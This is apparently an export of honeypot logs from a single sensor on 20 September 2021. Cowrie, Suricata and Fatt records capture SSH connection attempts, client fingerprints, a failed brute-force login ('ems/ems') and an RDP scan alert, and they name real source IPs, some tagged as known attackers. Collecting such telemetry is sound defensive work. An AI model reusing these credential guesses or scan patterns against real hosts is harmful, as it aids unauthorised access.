26146	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:44.526284+03	2021-09-20 14:15:12.889645+03	{"_id": "FAbnAnwBvYTbRNuEmCAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b7fdd28058b6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:44.526284Z", "@timestamp": "2021-09-20T11:11:44.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26147	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:11:44.356775+03	2021-09-20 14:15:12.890646+03	{"_id": "FQbnAnwBvYTbRNuEmiBG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1098285086355945, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46492, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.356775Z", "@timestamp": "2021-09-20T11:11:44.356Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26157	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:37.118362+03	2021-09-20 14:15:12.903645+03	{"_id": "gAbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "21ac73c02150", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:37.118362Z", "@timestamp": "2021-09-20T11:11:37.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26148	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:11:44.391841+03	2021-09-20 14:15:12.891646+03	{"_id": "GwbnAnwBvYTbRNuEmyBr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46492, "dest_port": 22, "timestamp": "2021-09-20T11:11:44.391841", "@timestamp": "2021-09-20T11:11:44.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26149	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:11:36.417113+03	2021-09-20 14:15:12.892646+03	{"_id": "YwbnAnwBvYTbRNuEex8A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:35.714653+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2192565443487645, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63152, "dest_port": 3389, "timestamp": "2021-09-20T11:11:36.417113Z", "@timestamp": "2021-09-20T11:11:36.417Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
26150	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:37.082083+03	2021-09-20 14:15:12.894644+03	{"_id": "ZQbnAnwBvYTbRNuEfB8i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45204, "timestamp": "2021-09-20T11:11:37.082083", "@timestamp": "2021-09-20T11:11:37.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26151	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:36.376562+03	2021-09-20 14:15:12.895646+03	{"_id": "ZAbnAnwBvYTbRNuEfB8i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": null, "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36572, "dest_port": 22, "timestamp": "2021-09-20T11:11:36.376562", "@timestamp": "2021-09-20T11:11:36.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26193	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:45.544034+03	2021-09-20 14:15:12.952646+03	{"_id": "LgbnAnwBvYTbRNuEnCAN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e35fdf257f1d", "@version": "1", "duration": 3.701909065246582, "timestamp": "2021-09-20T11:11:45.544034Z", "@timestamp": "2021-09-20T11:11:45.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26152	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:36.803766+03	2021-09-20 14:15:12.896644+03	{"_id": "aAbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45204 (192.168.176.2:22) [session: 19b9242efb98]", "session": "19b9242efb98", "@version": "1", "protocol": "ssh", "src_port": 45204, "dest_port": 22, "timestamp": "2021-09-20T11:11:36.803766Z", "@timestamp": "2021-09-20T11:11:36.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26153	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:37.116727+03	2021-09-20 14:15:12.897644+03	{"_id": "aQbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53396 (192.168.176.2:22) [session: 21ac73c02150]", "session": "21ac73c02150", "@version": "1", "protocol": "ssh", "src_port": 53396, "dest_port": 22, "timestamp": "2021-09-20T11:11:37.116727Z", "@timestamp": "2021-09-20T11:11:37.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26154	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:36.849162+03	2021-09-20 14:15:12.899645+03	{"_id": "fQbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "19b9242efb98", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:36.849162Z", "@timestamp": "2021-09-20T11:11:36.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26155	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:37.106609+03	2021-09-20 14:15:12.900646+03	{"_id": "fgbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ems/ems] failed", "session": "1934d2a8bb34", "@version": "1", "password": "ems", "username": "ems", "timestamp": "2021-09-20T11:11:37.106609Z", "@timestamp": "2021-09-20T11:11:37.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26156	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:37.109694+03	2021-09-20 14:15:12.902645+03	{"_id": "fwbnAnwBvYTbRNuEfB_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "19b9242efb98", "@version": "1", "timestamp": "2021-09-20T11:11:37.109694Z", "@timestamp": "2021-09-20T11:11:37.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-